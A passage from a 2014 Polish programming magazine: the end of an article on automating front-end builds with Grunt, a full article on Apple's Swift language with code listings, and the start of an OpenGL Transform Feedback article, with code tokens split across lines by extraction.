* npm pozwala tworzyć globalne instancje Grunt poleceniem 

npm install 

-g grunt-cli, ale nie zalecam tej praktyki ze względu na niekompatybil-
ność różnych wersji pakietów pomiędzy projektami.
* jeżeli korzystamy z jakiegoś systemu kontroli wersji, to zalecam dodać kata-
log /node_modules do pliku .gitignore.

Konfiguracja Grunta

Kolejnym etapem jest już konfiguracja Grunta. Tworzymy plik Gruntfile.js:

module

.

exports 

=

 

function

(

grunt

)

 

{

// tutaj będzie miała miejsce rejestracja i konfiguracja zadań

};

UglifyJS

Biblioteka UglifyJS jest dobrze znana programistom JavaScriptu, pozwala łą-
czyć, kompresować i filtrować pliki .js, wszystkie te zadania są powtarzalne.

Zadanie wykonywane z linii poleceń wygląda mniej więcej tak:

// uglifyjs [input files] [options]

uglify src/file1.js src/file2.js -o desc/output.min.js

Automatyzacja za pomocą GruntJS

Grunt to task manager stworzony głównie z myślą o front-endzie. Masz dość ręcznego 
składania projektu? Grunt wykona za Ciebie wszystkie nudne i powtarzalne zadania.

background image

13

/ www.programistamag.pl /

AUTOMATYZACJA ZA POMOCĄ GRUNTJS

Każda zmiana w dowolnym pliku wymaga ponownego wpisania parame-

trów uruchomienia skryptu.

Kiedy chcemy zminimalizować inny katalog i zapisać plik wynikowy w inne 

miejsce, ponownie musimy zmienić parametry w command line, żeby wykonać 
polecenie: 

uglify vendors/bootstrap.js -o desc/vendors.min.js.

Wykonywanie tych czynności jest męczące, bardzo łatwo można zapo-

mnieć o którymś z wymaganych plików, zmienić kolejność czy zapisać zmiany 
do innego pliku.

Poza tym, kiedy pracujemy w grupie, taka praktyka jest praktycznie nie-

możliwa. Dlatego lepiej jest użyć gotowego skonfigurowanego skryptu, który 
zrobi to za nas.

Instalacja pluginu dla UglifyJS

Pierwszym zadaniem, jakie dodamy, będzie właśnie konfiguracja UglifyJS. 
Teoretycznie możemy sami napisać odpowiedni plugin w node.js, jednak 
npm pozwala nam skorzystać z tysięcy gotowych konfigurowalnych i prze-
testowanych rozwiązań. Wystarczy wejść na stronę 

https://npmjs.org

 i wy-

szukać interesujące nas pakiety. Do biblioteki UglifyJS możemy użyć pluginu 
grunt-contrib-uglify. Na stronie projektu znajduje się dobry opis konfiguracji 
i przykłady użycia.

Najpierw instalujemy bibliotekę:

npm install grunt-contrib-uglify --save-dev

po instalacji musimy włączyć plugin w pliku Gruntfile.js i przechodzimy do 
konfiguracji zadań:

grunt.loadNpmTasks('grunt-contrib-uglify');

W naszym przypadku plik Gruntfile.js będzie wyglądał następująco:

module

.

exports 

=

 

function

(

grunt

)

 

{

// załadowanie pluginu "uglify"

grunt

.

loadNpmTasks

(

'grunt-contrib-uglify'

)

;

// inicjalizacja konfiguracji

grunt

.

initConfig

(

{

// załadowanie metadanych z pliku package.json

// może być pomocne przy bardziej skomplikowanych zadaniach

pkg

:

 grunt

.

file

.

readJSON

(

'package.json'

),

// ustawienie konfiguracji dla pluginu "uglify"

uglify

:

 

{

// pierwszy zdefiniowany scope i konfiguracja

my_target

:

 

{

files

:

 

{

'desc/output.min.js'

:

 

[

'src/file1.js'

,

'src/file2.js'

]

}

}

,

other_scope

:

 

{

files

:

 

{

'desc/vendors.min.js'

:

 

[

'vendors/bootstrap.js'

]

}

}

}

}

)

;

// rejestracja domyślnego zadania

grunt

.

registerTask

(

'default'

,

 

[

'uglify'

])

;

// rejestracja dodatkowa do minimalizacji js

grunt

.

registerTask

(

'js'

,

 

[

'uglify:my_target'

])

;

};

Mamy pierwsze skonfigurowane i działające zadania 

my_target oraz 

other_scope.

Zadaniem

 my_target jest wczytanie z plików zawartości z src/file1.js 

i

 src/file2.js, następnie złączenie ich do jednego pliku desc/output.min.js

oraz skompresowanie.

Uruchomienie zadań

Uruchomienie zadań można wykonać na kilka sposobów w konsoli w katalo-
gu z plikiem

 Gruntfile.js.

Wykonanie domyślnego zadania:

default (grunt.registerTask('default', ['uglify']);),
może być zapisane w postaci: 

./grunt default, lub ./grunt.

Uruchomienie naszego zdefiniowanego zadania:

grunt.registerTask('js', ['uglify:my_target']);
./grunt js

Można również uruchomić task bez definiowania poleceniem

 registerTask.

Polecenie 

./grunt uglify:my_target będzie działało identycznie jak 

./grunt js, natomiast polecenie ./grunt uglify będzie działało tak jak 
./grunt default.

W tym momencie struktura naszego katalogu będzie wyglądała 

następująco:

/package.js - paczka zależności npm
/Grunfile.js - konfiguracja grunta
/node_modules - zainstalowane moduły
/src/

/file1.js
/file2.js

/vendors

/bootstrap.js

/desc/

/vendors.min.js
/output.min.js

/grunt

Grunt watch

W tym momencie mamy pewien powtarzalny zestaw reguł, dzięki któremu 
nie musimy już myśleć co i jak skompresować. W dalszym ciągu jednak nie po-
zbyliśmy się ciągłego przełączania się pomiędzy konsolą a naszym edytorem 
w celu wykonania zdefiniowanych zadań. Czy jest na to sposób i czy Grunt 
może nam w tym pomóc? Zdecydowanie tak, znowu mamy już gotowe roz-
wiązanie, które możemy dostosować do swoich potrzeb.

Rozwiązaniem tym jest plugin grunt-contrib-watch, którego zadaniem jest 

śledzenie zmian, jakie są zapisywane w plikach na dysku, i uruchamianie ściśle 
określonych zadań. Na bazie naszego poprzedniego przykładu chcemy zmie-
niać skrypty znajdujące się w katalogu src/ i po zapisaniu mieć gotowy zmini-
malizowany plik desc/output.min.js, jednocześnie nie potrzebujemy sprawdzać 
zewnętrznych bibliotek znajdujących się w katalogu vendors/.

Podobnie jak poprzednio instalujemy i włączamy zadanie:

npm install grunt-contrib-watch --save-dev

Plik Gruntfile.js

// ...

grunt

.

loadNpmTasks

(

'grunt-contrib-watch'

)

;

// ...

Następnie przechodzimy do skonfigurowania pluginu, przedstawiona konfi-
guracja jest minimalna, sam plugin ma wiele ciekawych ustawień. Wydaję mi 
się, że jedną z bardziej interesujących jest opcja 

livereload, która pozwala 

przy pomocy odpowiednich pluginów automatycznie przeładować zawartość 
strony. Jest to bardzo dobra opcja, kiedy pracujemy na dwóch monitorach, dzię-
ki temu bez odrywania rąk z klawiatury widzimy zmiany na stronie od razu po 
przegenerowaniu JavaScript'u lub przekompilowaniu less'a do CSS'a.

background image

14

/ 6 

. 2014 . (25)  /

BIBLIOTEKI I NARZĘDZIA

// ...

grunt

.

initConfig

(

{

// ...

watch

:

 

{

scripts

:

 

{

files

:

 

'js/*.js'

,

tasks

:

 

[

'uglify:my_target'

],

}

,

css

:

 

{

files

:

 

'less/*.less'

,

tasks

:

 

[

'less'

],

options

:

 

{

livereload

:

 

1337

}

}

,

}

,

  

// ...

}

)

;

// ...

Jak widać z konfiguracji: śledzimy wszystkie zmiany w katalogu js/ w plikach 
z rozszerzeniem .js, po zmianie odpalany jest task kompresujący tylko i wyłącznie 
nasze pliki, nie dotykając plików z zewnętrznych bibliotek. Oddzielnie śledzone są 
pliki z rozszerzeniem .less, pod które podpięty jest całkiem inny task.

System plików

Bardzo ważną cechą zadań Grunta są pewne reguły działające na systemie pli-
ków. W pierwszym przykładzie z uglify podawaliśmy ścieżki do konkretnych 
plików JS, które mają być kompresowane, tzw. static mappings. Ale co w przy-
padku kiedy plików JS lub less w danym katalogu jest dużo? Wypisanie każdego 
z osobna jest również czasochłonne i nieefektywne. I tutaj ponownie pomaga 
nam

 Grunt, który potrafi przeprowadzać automatyczne operacje na strukturze 

plików (*dynamic mappings*). Potrafi zwrócić tablice wszystkich plików w da-
nym katalogu, albo tylko te, które pasują do pełnego wzorca. Przykład:

/src/*.js - zwróci wszystkie pliki znajdujące się w katalogu src/ 

z rozszerzeniem .js

/src/{x,y,z}.js - zwróci pliki o nazwach x.js, y.js, z.js 

znajdujące się w katalogu src/

Szablony

Czasem potrzebujemy ustawić pewne opcje dynamicznie, np. ścieżkę docelo-
wą CSS'a, która zmienia się w zależności od numeru wersji produktu.

W tym celu możemy skorzystać z szablonów, a raczej systemu dynamicz-

nych zmiennych pobieranych z ustawień Grunta. W tym celu można użyć spe-
cjalnych tagów

 <% %>. Przykład:

grunt

.

initConfig

(

{

concat

:

 

{

sample

:

 

{

src

:

 

[

'baz/*.js'

],

dest

:

 

'build/<%= bar %>.js'

,

 

// 'build/bcd.js'

}

,

}

,

foo

:

 

'c'

,

bar

:

 

'b<%= foo %>d'

 

// 'bcd'

}

)

;

Syndrom dużego projektu

Z natury programiści lubią małe funkcje, małe pliki i prostą logikę. Co zrobić, 
kiedy Gruntfile.js urośnie nam do 1500 linijek ?

Można rozbić ustawienia na wiele mniejszych plików, w tym przykładzie 

użyłem pluginu load-grunt-configs, który wczytuje dodatkową konfigurację 
ze wskazanych plików:

var

 options 

=

 

{

config 

:

 

{

src

:

 

[

"

tasks/*.js

"

,

 

...]

}

};

var

 configs 

=

 require

(

'load-grunt-configs'

)(

grunt

,

options

)

;

grunt

.

initConfig

(

configs

)

;

W naszym przykładzie stworzyliśmy katalog tasks/, a w nim pliki

  uglify.js

watch.js less.js. Przykład pliku watch.js:

module

.

exports

.

tasks

=

{

watch

:

 

{

scripts

:

 

{

files

:

 

'js/*.js'

,

 

// ścieżka jakie pliki mają być śledzone

tasks

:

 

[

'uglify:my_target'

],

 

// zadanie jakie ma być wykonane 

po każdej zmianie

}

,

css

:

 

{

files

:

 

'less/*.less'

,

tasks

:

 

[

'less'

],

options

:

 

{

livereload

:

 

1337

}

}

}

}

POLECANE PLUGINY

Lista przydatnych pluginów, dzięki którym możemy zaoszczędzić sporo czasu:

 

» grunt-contrib-watch – śledzenie zmian na plikach i uruchamianie odpo-

wiednich tasków po zmianie zawartości

 

» grunt-contrib-uglify – minimalizacja plików JavaScriptowych

 

» grunt-contrib-concat – łączenie wielu plików w jeden

 

» grunt-responsive-images – tworzenie wielu wersji obrazka dopasowa-

nych do różnych rozdzielczości

 

» grunt-spritesmith – zapisuje wszystkie zdjęcia w jednym pliku i generuje 

CSS (less, Sass) z odpowiednimi parametrami position-background

 

» grunt-bower-task – package manager dla stron i aplikacji internetowych

 

» grunt-contrib-copy – kopiowanie plików

 

» grunt-contrib-coffee – kompiluje pliki CoffeeScript do JavaScriptu

 

» grunt-contrib-jshint – pomaga znaleźć potencjalne problemy w JavaScript

 

» grunt-contrib-imagemin – kompresja obrazków

 

» grunt-contrib-qunit – testy jednostkowe JavaScript

 

» grunt-contrib-less, grunt-contrib-sass, grunt-contrib-stylus – Preprocesory CSS:

I wiele innych pluginów, które pomogą w codziennych zadaniach.

PODSUMOWANIE

Pomimo że poznanie, zrozumienie i wdrożenie Grunta wymaga czasu i pew-
nych kosztów, to korzyści z jego używania są dużo większe niż w przypadku 
ręcznego dbania o jakość tworzonych rozwiązań. Jeżeli uda się przebrnąć przez 
początek, to kolejny dzień w pracy rozpoczniesz od polecenia grunt watch, 
a każdy kolejny projekt rozpocznie się od instalacji i skonfigurowania Grunta.

Kacper Cyran

k.cyran@smsapi.pl

Absolwent Wydziału Elektroniki, Automatyki i Informatyki na Politechnice Śląskiej 
w Gliwicach. Od 2008 tworzy i rozwija aplikacje internetowe na stanowisku pro-
gramisty. Aktualnie pracuje w firmie ComVision, w której odpowiedzialny jest za 
rozwój platformy SMSAPI.

background image
background image

16

/ 6 

. 2014 . (25)  /

JĘZYKI PROGRAMOWANIA

Rafał Kocisz

SZCZYPTA HISTORII

O tym, jak dużą niespodzianką jest Swift, szczególnie dla doświadczonych 
programistów wytwarzających oprogramowanie dedykowane systemom 
pod znaku jabłuszka, świadczyć może to, że przez ostatnie dwadzieścia lat 
korzystali oni tylko i wyłącznie z języka Objective-C. Język ten, zaprojektowa-
ny w 1983 roku przez Brad'a Cox'a oraz Tom'a Love'a, został wykorzystany do 
zaprogramowania systemu operacyjnego NeXTstep, którego następcami są 
OS X oraz iOS.

Póki co nic nie wskazywało na jakiekolwiek zmiany w tej materii. Co wię-

cej, język ten przeszedł stosunkowo niedawno dość poważny lifting (Objec-
tive-C 2.0), co mogło jedynie utwierdzić jego użytkowników w przekonaniu 
o jego monopolistycznej pozycji w swoim segmencie rynku. A tutaj na po-
czątku czerwca 2014 roku - taka niespodzianka.

SPOJRZENIE Z LOTU PTAKA

Czym więc jest Swift? Apple w następujący sposób podsumowuje ten język:

Swift to innowacyjny, nowy język programowania dla Cocoa oraz Cocoa To-

uch. Cechuje się dużym poziomem interakcji, a pisanie w nim programów jest 
przyjemnością. Składnia języka jest bardzo zwięzła, a jednocześnie pełna wyrazu. 
Aplikacje pisane w tym języku działają szybko jak błyskawica. Swift jest z miej-
sca gotowy do użycia w Twoim kolejnym projekcie pod iOS lub OS X, bądź przy 
rozszerzaniu istniejącej aplikacji, bo kod napisany w tym języku działa ramię w 
ramię z Objective-C.

W tym krótkim opisie podkreślone są cechy tego języka, przyjrzyjmy im 

się bliżej:

 

» Innowacyjność. Pod tym hasłem kryje się zestaw nowoczesnych mechani-

zmów języka takich jak: domknięcia leksykalne (ang. closures), krotki (ang. 
tuples), typy generyczne (ang. generics), klasy oraz elementy zapożyczone 
z języków funkcjonalnych, np. map czy filter. W tym ujęciu Swift wpisuje 
się w kanon współczesnych, interpretowanych języków programowania 
takiej klasy jak Python, Ruby, Groovy.

 

» Interakcja. Pod tym hasłem kryje się interaktywna powłoka języka (tzw. 

REPL), która umożliwia programiście interakcję z kodem w czasie działania 
aplikacji. REPL nie jest w zasadzie niczym nowym, programiści korzystają-
cy z innych języków interpretowanych używają tego mechanizmu od lat, 
jednakże w uniwersum Apple jest zdecydowanie powiew świeżości. Poza 
tym programiści iOS oraz OS X w ramach nowej wersji sztandarowego IDE 
marki Apple (Xcode) mają do dyspozycji interaktywne narzędzie Playgro-
unds (Rysunek 1), które pozwala między innymi wizualizować działanie 
budowanych algorytmów, tworzyć w locie testy jednostkowe oraz łatwo 
eksperymentować z nowymi API.

 

» Wydajność. Apple na każdym kroku podkreśla, że Swift pod kątem wydaj-

ności nie ustępuje językowi Objective-C, przede wszystkim dzięki temu, iż 
jest on w locie przekształcany do zoptymalizowanego kodu natywnego. 
Faktem pozostaje, że komentarze pojawiające się ze strony programistów 
eksperymentujących z językiem, w kontekście wydajności aplikacji pisa-
nych w Swift, nie są aż tak optymistyczne jak chciałoby Apple...

 

» Dostępność. Swift'a może zacząć z miejsca używać każdy, kto ma konto 

developerskie Apple. W takim wypadku wystarczy pobrać i zainstalować 
sobie paczkę ze środowiskiem Xcode 6 Beta. Oprócz tego Apple oferuje 
całkiem pokaźny zestaw materiałów do nauki tego języka.

Rysunek 1. Narzędzie Playgrounds w akcji

PRZEGLĄD MOŻLIWOŚCI JĘZYKA

Rzućmy okiem na Swift od strony praktycznej. Na początek oczywiście szybkie 
spojrzenie na program typu Hello, World! (patrz: Listing 1).

Listing 1. Program typu Hello, World! w Swift

println

(

"Hello, World!"

)

Pierwsze wnioski, które nasuwają się po analizie tego krótkiego programu, są 
następujące:

 

» aplikację typu Hello, World! w języku Swift da się napisać w jednej linii!

 

» Swift nie wymaga stosowania średników jako separatorów instrukcji,

 

» w Swift korzystamy z nawiasów okrągłych przy wywoływaniu funkcji, nie-

jako w opozycji do nawiasów kwadratowych używanych przy wywoływa-
niu metod w Objective-C.

Programiści korzystający ze Swift będą się musieli pożegnać z rozróżnieniem 
pomiędzy plikami nagłówkowymi (.h) a źródłowymi (.m). Programy pisane w 
nowym języku Apple umieszczane są w pojedynczych plikach tekstowych 
opatrzonych rozszerzeniem.swift.

Swift: rewolucja czy ewolucja?

Na tegorocznym WWDC Apple zafundowało wszystkim swoim developerom sporą 
niespodziankę w postaci... nowego języka programowania! Swift, bo o tym właśnie 
języku tu mowa, to dla wielu programistów duży znak zapytania. W niniejszym ar-
tykule postaram się przybliżyć czytelnikowi ten temat oraz udzielić odpowiedzi na 
pytanie postawione w tytule: czy Swift należy postrzegać w kategoriach rewolucji, 
czy po prostu mamy do czynienia z nieuchronną ewolucją...

background image
background image

18

/ 6 

. 2014 . (25)  /

JĘZYKI PROGRAMOWANIA

Szkolenia realizowane przez Akademię EITCA:

http://cg.eitca.pl  

http://bi.eitca.pl

http://kc.eitca.pl  

http://is.eitca.pl  

Nie będzie też znaków plus (+) oraz minus (-), służących do rozróżniania 

zwykłych metod od metod statycznych w Objective-C. Składnia definicji klasy 
została w Swift bardzo uproszczona. Na Listingu 2 przedstawione są dwie pro-
ste definicje klas: 

Shape oraz Square prezentujące takie mechanizmy języka 

jak konstruktory, dziedziczenie czy przeciążanie funkcji wirtualnych.

Listing 2. Proste definicje klas w Swift

class

 

Shape

{

var 

numberOfSides:

 Int 

=

 

0

var 

name:

 String

init

(

name:

 String

)

{

self

.

name

 

=

 name

}

func 

toString

()

 

->

 String

{

return

 

"A shape with \(numberOfSides) sides."

}

}

class

 

Square

:

 Shape

{

var 

sideLength:

 Double

init

(

sideLength:

 Double

,

 

name:

 String

)

{

self

.

sideLength

 

=

 sideLength

super

.

init

(

name:

 name

)

numberOfSides 

=

 

4

}

func 

area

()

 

->

  Double

{

return

 sideLength 

*

 sideLength

}

override func 

toString

()

 

->

 String

{

return

 

"A square with sides of length \(sideLength)."

}

}

let test 

=

 Square

(

sideLength:

 

5.2,

 

name:

 

"my test square"

)

test

.

area

()

test

.

toString

()

Bardzo miłym akcentem jest wsparcie dla mechanizmu właściwości (ang. pro-
perties
) powiązanych z akcesorami (

get/set), znanego z takich języków pro-

gramowania jak C# czy AcionScript 3.0. Na Listingu 2a pokazana jest prosta 
definicja klasy korzystająca z tego udogodnienia.

Listing 2. Przykład użycia mechanizmu właściwości w Swift

class

 

EquilateralTriangle

:

 Shape

{

var 

sideLength:

 Double 

=

 

0.0

init

(

sideLength:

 Double

,

 

name:

 String

)

{

self

.

sideLength

 

=

 sideLength

super

.

init

(

name:

 name

)

numberOfSides 

=

 

3

}

var 

perimeter:

 Double

{

get

{

return

 

3.0

 

*

 sideLength

}

set

{

sideLength 

=

 newValue 

/

 

3.0

}

}

override func 

toString

()

 

->

 String

{

return

 

"An equilateral triagle with "

"sides of length \(sideLength)."

}

}

Dużą zmianą w stosunku do Objective-C jest niewątpliwie wprowadzenie me-
chanizmu typów uogólnionych (ang. generics). Dla przykładu, klasa 

NSArray 

z Objective-C może w zasadzie przechowywać obiekty dowolnego typu (przy 
czym wszystkie one muszą dziedziczyć po protokole 

NSObject). Rozwiązanie 

to, pomimo stwarzania pozoru dużej elastyczności, w praktyce jest bardzo mało 
odporne na błędy, przede wszystkim ze względu na fakt, iż kompilator nie jest w 
stanie wykryć pewnych niezgodności, które objawiają się dopiero w czasie wy-
konania programu. Typy uogólnione w Swift, czyli mechanizm zbliżony do sza-
blonów języka C++, pozwalają tworzyć definicje klas parametryzowane typami. 
W tym układzie niezgodność typów jest wykrywana już na etapie kompilacji.

Listing 3 pokazuje przykład użycia typów uogólnionych w Swift.

Listing 3. Typy uogólnione w Swift

struct IntPair

{

let 

a:

 Int

!

let 

b:

 Int

!

init

(

a:

 Int

,

 

b:

 Int

)

{

self

.

a

 

=

 a

self

.

b

 

=

 b

}

func 

equal

()

 

->

 Bool 

{

return

 a 

==

 b

}

}

let intPair 

=

 IntPair

(

a:

 

5,

 

b:

 

10)

intPair

.

a

 

// 5

intPair

.

b

 

// 10

intPair

.

equal

()

 

// false

struct Pair

<

T:

 Equatable

>

{

let 

a:

 T

!

let 

b:

 T

!

init

(

a:

 T

,

 

b:

 T

)

{

self

.

a

 

=

 a

self

.

b

 

=

 b

}

func 

equal

()

 

->

 Bool

{

return

 a 

==

 b

}

}

let pair 

=

 Pair

(

a:

 

5,

 

b:

 

10)

pair

.

a

 

// 5

pair

.

b

 

// 10

pair

.

equal

()

 

// false

let floatPair 

=

 Pair

(

a:

 

3.14159,

 

b:

 

2.0)

floatPair

.

a

 

// 3.14159

floatPair

.

b

 

// 2.0

floatPair

.

equal

()

 

// false

Skoro już mówimy o typach, trzeba jasno powiedzieć, że Swift jest językiem 
silnie typowanym, co można uznać za duży krok do przodu w dziedzinie od-
porności na błędy. Ceną za silne typowanie jest zazwyczaj bardziej skompli-
kowana składnia (patrz: język C++). Projektanci Swift podjęli próbę zmierzenia 
się z tym problemem, wprowadzając do swojego języka mechanizm inferencji 
typów, czyli technikę stosowaną w językach statycznie typizowanych, która 
zwalnia programistę z obowiązku specyfikowania typów, przerzucając obo-
wiązek ich identyfikacji na kompilator. Przykład zastosowania tego mechani-
zmu w Swift pokazany jest na Listingach 4a oraz 4b.

Listing 4a. Tworzenie instancji obiektu w Objective-C

Person 

*

me 

=

 [[Person alloc] initWithName

:

@"Rafal Kocisz"

];

[me sayHello];

Listing 4b. Inferencja typów w Swift

var me 

=

 Person

(

name:

"Rafal Kocisz"

)

me

.

sayHello

()

background image

Szkolenia realizowane przez Akademię EITCA:

http://cg.eitca.pl  

http://bi.eitca.pl

http://kc.eitca.pl  

http://is.eitca.pl  

background image

20

/ 6 

. 2014 . (25)  /

JĘZYKI PROGRAMOWANIA

Listingi te pokazują dwa przypadki tworzenia instancji obiektu klasy 

Per-

son; jeden w Objective-C, zaś drugi w Swift. Jak widać, w drugim przypadku 
kompilator sam jest w stanie wydedukować typ obiektu, co w rezultacie skut-
kuje znacznym uproszczeniem składni.

Dużo pozytywnych zmian pojawia się w Swift w związku z obsługą napi-

sów. W nowym języku od Apple napisy są pełnoprawnymi obiektami, można 
je łatwo porównywać za pomocą operatora == czy łączyć dzięki zastosowaniu 
operatorów + oraz +=. W Swift nie istnieje również rozróżnienie pomiędzy napi-
sami zmiennymi (ang. mutable) oraz niezmiennymi (ang. immutable), które wy-
stępowało w Objective-C. Niejeden programista ucieszy się też z faktu, że napi-
sy dostępne w ramach języka Swift domyślnie obsługują pełny zestaw znaków 
Unicode! Co ciekawe, znaków tego rodzaju można używać również w nazwach 
identyfikatorów. Biorąc pod uwagę to, jak niewygodna jest obsługa napisów w 
języku Objective-C, opisane wyżej zmiany będą zapewne bardzo miłe progra-
mistom wytwarzającym aplikacje pod system iOS oraz OS X.

Warto też wspomnieć o znacznym usprawnieniu instrukcji 

switch, któ-

ra w przypadku Swift'a - w odróżnieniu od Objective-C - obsługuje zarówno 
napisy, jak i założone obiekty. Poza tym, instrukcja 

switch w nowym języku 

od Apple domyślnie wykonuje skok do kolejnej instrukcji tuż po wykonaniu 
kodu umieszczonego w dopasowanej sekcji 

case. W tym układzie słowo klu-

czowe 

break (którego używanie wiąże się niejednokrotnie z powstawaniem 

trudnych do wyśledzenia błędów) przestaje być potrzebne. Dla tych, którzy 
mimo wszystko chcieliby mieć możliwość wywołania kilku sekcji 

case pod 

rząd, Swift oferuje słowo kluczowe 

fallthrough, za pomocą którego można 

tego rodzaju efekt uzyskać. Na Listingu 5 przedstawiony jest przykład użycia 
instrukcji 

switch w języku Swift.

Listing 5. Przykład użycia instrukcji switch w języku Swift

let vegetable 

=

 

"red pepper"

switch

 vegetable

{

case

 

"celery"

:

let vegetableComment 

=

 

"Add some raisins and make ants on a log."

case

 

"cucumber"

,

 

"watercress"

:

let vegetableComment 

=

 

"That would make a good tea sandwich."

case

 let x where x

.

hasSuffix

(

"pepper"

):

let vegetableComment 

=

 

"Is it a spicy \(x)?"

default

:

let vegetableComment 

=

 

"Everything tastes good in soup."

}

Koniec końców, autorom Swift należy się duża pochwała za dodanie do tego 
języka elementów programowania funkcjonalnego. Przede wszystkim, w 
Swift funkcje są pełnoprawnymi obiektami, które można przekazywać jako 
parametry, przechowywać w kontenerach itd. Swift oferuje również domknię-
cia leksykalne (ang. closures), mechanizm podobny nieco do bloków (ang. 
blocks) z Objective-C 2.0, jednakże bardziej potężny: porównywalny z wyra-
żeniami lambda rodem z języka C#. Listing 6 zawiera kilka przykładów użycia 
opisanych wyżej mechanizmów w kodzie Swift (między innymi: funkcja, która 
zwraca funkcję; funkcja, która przyjmuje inną funkcję jako parametr, a także 
praktyczne zastosowanie domknięcia leksykalnego).

Listing 6. Elementy programowania funkcjonalnego w języku Swift

func 

makeIncrementer

()

 

->

 

(

Int 

->

 Int

)

{

func 

addOne

(

number:

 Int

)

 

->

 Int

{

return

 

1

 

+

 number

}

return

 addOne

}

var increment 

=

 makeIncrementer

()

increment

(7)

func 

hasAnyMatches

(

list:

 Int

[],

condition:

 Int 

->

 Bool

)

 

->

 Bool

{

for

 item 

in

 list

{

if

 

condition

(

item

)

{

return

 

true

}

}

return

 

false

}

func 

lessThanTen

(

number:

 Int

)

 

->

 Bool

{

return

 number 

<

 

10

}

var numbers 

=

 

[20,

 

19,

 

7,

 

12]

hasAnyMatches

(

numbers

,

 lessThanTen

)

numbers

.

map

(

{

(

number:

 Int

)

 

->

 Int 

in

let result 

=

 

3

 

*

 number

return

 result

})

Na tym będziemy kończyć nasz pobieżny przegląd możliwości języka. Celowo 
użyłem tutaj słowa „pobieżny”, jako że moim zamiarem było przede wszystkim 
przybliżenie czytelnikowi istoty języka Swift; pod takim też kątem starałem się 
dobrać prezentowane przykłady. W dalszej części artykułu postaram się odpo-
wiedzieć na kilka pytań, które mogły pojawić się w Twojej głowie w związku 
z pojawieniem się nowego języka do Apple.

QUO VADIS OBJECTIVE-C?

Póki co, drogi przyjacielu, nigdzie się nie wybieram! ;) - taką odpowiedź usłysze-
libyśmy zapewne od języka Objective-C, gdyby umiał on mówić. Objective-C 
mówić oczywiście nie potrafi, jednakże umiejętność tę posiadły rzesze pro-
gramistów, którzy na co dzień korzystają z tego języka. Wyobrażasz sobie ich 
reakcję w sytuacji, gdyby miał on z dnia na dzień zniknąć, wyparować? Taki 
eksperyment myślowy polecam wszystkim tym, którzy prowadzą zagorzałe 
dyskusje na temat najbliższej przyszłości Objective-C.

Trochę trudniej jest odpowiedzieć na inne pytanie: „którego języka w 

tym układzie warto się uczyć?“. Generalnie, wydaje się, że opracowując Swift, 
Apple chciał z jednej strony obniżyć barierę wejścia dla tych, którzy dopiero 
uczą się programować, zaś z drugiej strony - zrobić ukłon w kierunku młodszej 
generacji programistów wychowanych na takich językach jak Python, Ruby 
czy C#. Dla tych programistów przesiadka na Swift będzie czymś zupełnie 
naturalnym.

Co z kolei ze starszą generacją programistów (do której sam się już nieste-

ty w pewnym stopniu zaliczam ;))? Dla tych ludzi, zakorzenionych w językach 
pokroju C oraz C++, Swift będzie prawdopodobnie nieco mniej atrakcyjny. 
Osobom tego pokroju zapewne łatwiej byłoby nadal używać Objective-C, 
który jest przecież nadzbiorem klasycznego C.

Trudno przewidywać dalsze ruchy Apple w zakresie wsparcia dla języków 

programowania; podejrzewam, że przed nami jest dość ciekawy okres przej-
ściowy, czas, w którym Apple będzie starać się przesunąć środek ciężkości 
zainteresowania programistów w kierunku Swift'a. Jednakże jestem głęboko 
przekonany, że Objective-C jeszcze długo pozostanie z nami.

REWOLUCJA CZY EWOLUCJA?

Biorąc pod uwagę to wszystko, co opisałem powyżej, moja odpowiedź na to 
pytanie może być tylko jedna: zdecydowanie ewolucja!

No bo zastanówmy się: w dziedzinie języków programowania Swift prze-

cież żadną rewolucję nie jest. Jest to oczywiście wysokiej klasy nowoczesny 
język programowania, ale nie wprowadza nic takiego, co można by uznać za 

background image

21

/ www.programistamag.pl /

SWIFT: REWOLUCJA CZY EWOLUCJA?

reklama

jakąś rewelację. Gdyby Apple zdecydował się wprowadzić np. własny dialekt 
Lispu jako swój nowy, oficjalny język programowania, to być może byłbym 
skłonny uznać taki ruch za rewolucyjny... Swoją drogą, szkoda, że się na to nie 
zdecydowali...  Trudno mówić również o rewolucji w kontekście jakichś gwał-
townych zmian (Objective-C póki co pozostaje z nami).

W mojej opinii Swift'a należy postrzegać jako nowe, fajne narzędzie, 

które dostaliśmy w prezencie od firmy Apple, i podchodzić to tego tak, jak 
należy podchodzić do narzędzia: to znaczy w sposób pragmatyczny, a nie 
emocjonalny.

Bardzo spodobał mi się pewien komentarz na jednym z forów, na którym 

rozgorzała dyskusja dotycząca przyszłości Swift'a oraz Objective-C. Autor 
komentarza zauważył, że w gruncie rzeczy kwestia języka, z którego w da-

nym momencie korzystamy, jest w dużym stopniu drugorzędna. Prawdziwa 
trudność (a zarazem sztuka) związana z programowaniem leży w umiejętno-
ści konstruowania algorytmów, projektowania interfejsów, klas itd. Z kolei 
w przypadku programowania systemów iOS oraz OS X znacznie ważniejszym 
(i trudniejszym) zadaniem w stosunku do opanowania języka jest poznanie 
oraz zrozumienie olbrzymiej biblioteki klas dostępnych w ramach framewor-
ków Cocoa oraz Cocoa Touch.

W tym ujęciu, tym, którzy pytają: czego warto się dziś uczyć, odpowiem tak: 

uczcie się programować aplikacje pod systemy iOS oraz OS X, zgłębiajcie API 
Cocoa oraz Cocoa Touch. A czy będziecie używać do tego celu języka Objec-
tive-C, czy może Swift'a, wydaje mi się naprawdę kwestią drugorzędną. Wy-
bierzcie sobie po prostu ten język, który lepiej Wam pasuje! :)

Rafał Kocisz

rafal.kocisz@gmail.com

Rafał od dziesięciu lat pracuje w branży związanej z produkcją oprogramowania. Jego 
zawodowe zainteresowania skupiają się przede wszystkim na nowoczesnych technologiach 
mobilnych oraz na programowaniu gier. Rafał pracuje aktualnie jako Techniczny Koordyna-
tor Projektu w firmie BLStream.

background image

22

/ 6 

. 2014 . (25)  /

PROGRAMOWANIE GRAFIKI

Piotr Sydow

poniższym artykule zobaczymy, w jaki sposób zbudowany jest 
opisywany mechanizm na przykładzie procesora geometrii, oraz 
przedstawimy sposób, w jaki można wykorzystać jego zalety, nie 

tylko do zadań związanych z tworzeniem trójwymiarowych obrazów, ale rów-
nież w celu przeprowadzania obliczeń czy symulacji.

Nazwa Transform Feedback (TFBK) została zarezerwowana w OpenGL dla 

części funkcjonalności potoku graficznego odpowiedzialnego za ponowne 
wykorzystanie przetwarzanej geometrii. W dużym skrócie: mechanizm ten 
polega na ciągłym zapisywaniu aktualne przetwarzanych prymitywów gra-
ficznych (punkt, trójkąt etc.) do zewnętrznego bufora, o formacie identycz-
nym do bufora wejściowego. Po przetworzeniu wszystkich danych z bufora 
